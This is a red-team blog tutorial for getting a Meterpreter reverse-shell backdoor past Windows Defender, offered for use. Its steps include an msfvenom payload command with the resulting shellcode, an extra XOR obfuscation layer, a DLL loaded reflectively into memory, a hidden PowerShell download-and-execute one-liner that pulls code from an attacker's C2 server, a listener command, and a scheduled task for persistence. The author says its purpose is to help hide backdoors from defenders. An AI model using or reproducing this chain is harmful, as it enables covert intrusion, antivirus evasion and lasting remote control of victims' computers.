Bypassing Windows Defender — Meterpreter edition

4 min readJun 22, 2021
Photo by Markus Winkler via


  1. MSFvenom payload creation
  2. Extra XOR layer
  3. Create DLL and Powershell Download Script
  4. Get a shell!

Bypassing Windows Defender

Last month, I wrote two articles about the proper use of SSL with Powershell Empire and SSL with Meterpreter. That alone (and some other magic) let us bypass most of the Antivirus products. However, since a few weeks, Windows Defender seems to have gotten a lot smarter and is be able to detect these techniques. This tutorial will guide you in creating a working Meterpreter backdoor using a technique called ‘Reflective DLL Injection’ without being detected by Windows Defender. For the same guide written for Empire, check out Red Team Tutorials №3.

1. MSFvenom payload creation

The command below generates a default reverse_tcp payload for a 64-bit version of Windows using nine iterations to increase evasion and formats the output in csharp.

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP_ADDRESS LPORT=YOUR_PORT --encoder x64/xor_dynamic -i 9 -f csharp

This payload on its own will get caught by Windows Defender!


[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 9 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 560 (iteration=0)
x64/xor_dynamic succeeded with size 610 (iteration=1)
x64/xor_dynamic succeeded with size 661 (iteration=2)
x64/xor_dynamic succeeded with size 712 (iteration=3)
x64/xor_dynamic succeeded with size 763 (iteration=4)
x64/xor_dynamic succeeded with size 814 (iteration=5)
x64/xor_dynamic succeeded with size 865 (iteration=6)
x64/xor_dynamic succeeded with size 916 (iteration=7)
x64/xor_dynamic succeeded with size 968 (iteration=8)
x64/xor_dynamic chosen with final size 968
Payload size: 968 bytes
Final size of csharp file: 4936 bytes
byte[] buf = new byte[968] {
0xeb,0x27,0x5b,0x53,0x5f,0xb0,0x9e,0xfc,0xae,0x75,0xfd,0x57,0x59,0x53,0x5e, 0x8a,0x06,0x30,0x07,0x48,0xff,0xc7,0x48,0xff,0xc6,0x66,0x81,0x3f,0x03,0xf1, 0x74,0x07,0x80,0x3e,0x9e,0x75,0xea,0xeb,0xe6,0xff,0xe1,0xe8,0xd4,0xff,0xff, 0xff,0x14,0x20,0x13,0x9e,0xff,0x07,0x48,0x47,0x7f,0xa3,0x81,0xdc,0xbd,0x61,
0xa6,0xf2,0x62,0x83,0x51,0xfc,0xc4,0x5c,0x7d,0x37,0x49,0x4a,0xe4,0xc6,0xe7, 0x82,0xb2,0x55,0xdc,0xd1,0xf4,0x5e,0x42,0xbe,0x67,0x06,0x91,0x02,0x51,0xff, 0x12,0x32,0xa1,0xf9,0x29,0xf6,0x03,0xf1

Pay attention to the payload size (NOT the size of the csharp file!)


Payloads contain a “decoder stub”. This is a small decoding loop and most Antivirus software are able to detect encoded MSFvenom payloads because of that decoder stub. To get around this, we’ll add an additional layer of XOR encoding.

  • Download my XORencoder project from Github:
  • Open the XORender project with Visual Studio
  • Edit file Project.cs, replacing the buf with your payload from Step 1
    ▹ Do not forget to change its size ([968]) to your payload size from Step 1
  • At the top of Visual Studio, change Debug to Release
  • Click Build > Build Solution

After a successful build, file XOR_encoder.exe will be in directory bin\Release\netcoreapp3.1\. Open Powershell or CMD, “cd” into that directory and run the executable (see below).


PS C:\Users\User\Desktop\XOR_encoder\bin\Release\netcoreapp3.1> .\XOR_encoder.exeThe payload is: 
0x41, 0x8d, 0xf1, 0xf9, 0xf5, 0x1a, 0x34, 0x56, 0x04,
0xdf, 0x57, 0xfd, 0xf3, 0xf9, 0xf4, 0x20, 0xac, 0x9a,
0xad, 0xe2, 0x55, 0x6d, 0xe2, 0x55, 0x6c, 0xcc, 0x2b,
0x95, 0xa9, 0x5b, 0xde, 0xad, 0x2a, 0x94, 0x34, 0xdf,
0x6c, 0x4d, 0x28, 0x18, 0xff, 0x76, 0x7b, 0x5e, 0xf4,
0xe8, 0x14, 0xcd, 0xac, 0x3b, 0xa8, 0xfb, 0x55, 0xb8,
0x98, 0x0b, 0x53, 0x83, 0x5c, 0xa9, 0x5b

Use this payload instead of the original from msfvenom!


To run the payload, we can either create an executable or a DLL (dynamic link library). The reason I am creating a DLL is that we’re able to run it directly into memory instead of placing a file on disk.


  • Download my ClassLibrary1 project from Github:
  • Open the ClassLibrary1 project with Visual Studio
  • Edit the file Class1.cs, replacing the buffer on line 40 with your new payload from Step 2
    ▹ Do not forget to change its size ([968]) to your payload size from Step 1

Notice the function name AwesomeFunctionName on line 30. You may change this to a name of your own. Just remember that we’ll need it later.

  • At the top of Visual Studio, change Debug to Release
  • Click Build > Build Solution
    ▹ After a successful build, file ClassLibrary1.dll will be in directory bin\Release
  • Upload the DLL to your C2 server in an empty directory.


We’ll use a Powershell script to download the DLL from your C2 server, load it into memory and execute the function that you named in the previous step.

  • Go to the new directory on your C2 server in which you just saved the DLL
  • Create a Powershell script (i.e. run_DLL.ps1) inside the same directory


$data = (New-Object System.Net.WebClient).DownloadData('http://YOUR_IP_ADDRESS/ClassLibrary1.dll')$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("AwesomeFunctionName")
$method.Invoke(0, $null)
  • Change AwesomeFunctionName to whatever you named the function on line 30 of the DLL or keep it as is
  • Run a temporary web server using Python’s module http.server from the new directory: python3 -m http.server 80


On your C2 server, create a listener with Meterpreter:

msfconsole -q -x 'use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST YOUR_IP_ADDRESS; set LPORT YOUR_PORT; set ExitOnSession false; exploit -j -z'

Instead of just uploading the Powershell script from Step 3 to the target and running it, we’ll use the same technique as before and run the script from memory. Run this command on the target:

powershell.exe -nop -w hidden (New-Object System.Net.WebClient).downloadString('http://YOUR_IP_ADDRESS/run_DLL.ps1') | IEX

That’s it! This should have evaded Windows Defender and most antivirus software. Good job!


Create a (basic) scheduled task using these arguments:

  • Actions, start a program
  • Program: %SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe
  • Arguments: -nop -w hidden (New-Object System.Net.WebClient).downloadString('http://YOUR_IP_ADDRESS/run_DLL.ps1') | IEX


With the ongoing shift from Red Teaming to Purple Teaming, Hunters (or: Blue Teamers) are becoming smarter in spotting and countering attacks from Hackers. The reason? Hackers and Hunters are finally learning from each other.

This tutorial is one of a few, written for Hackers to better hide your backdoors from Hunters. Check out my Medium page for more Red Team tutorials.




Offensive Security Researcher. I capture flag and escape containers.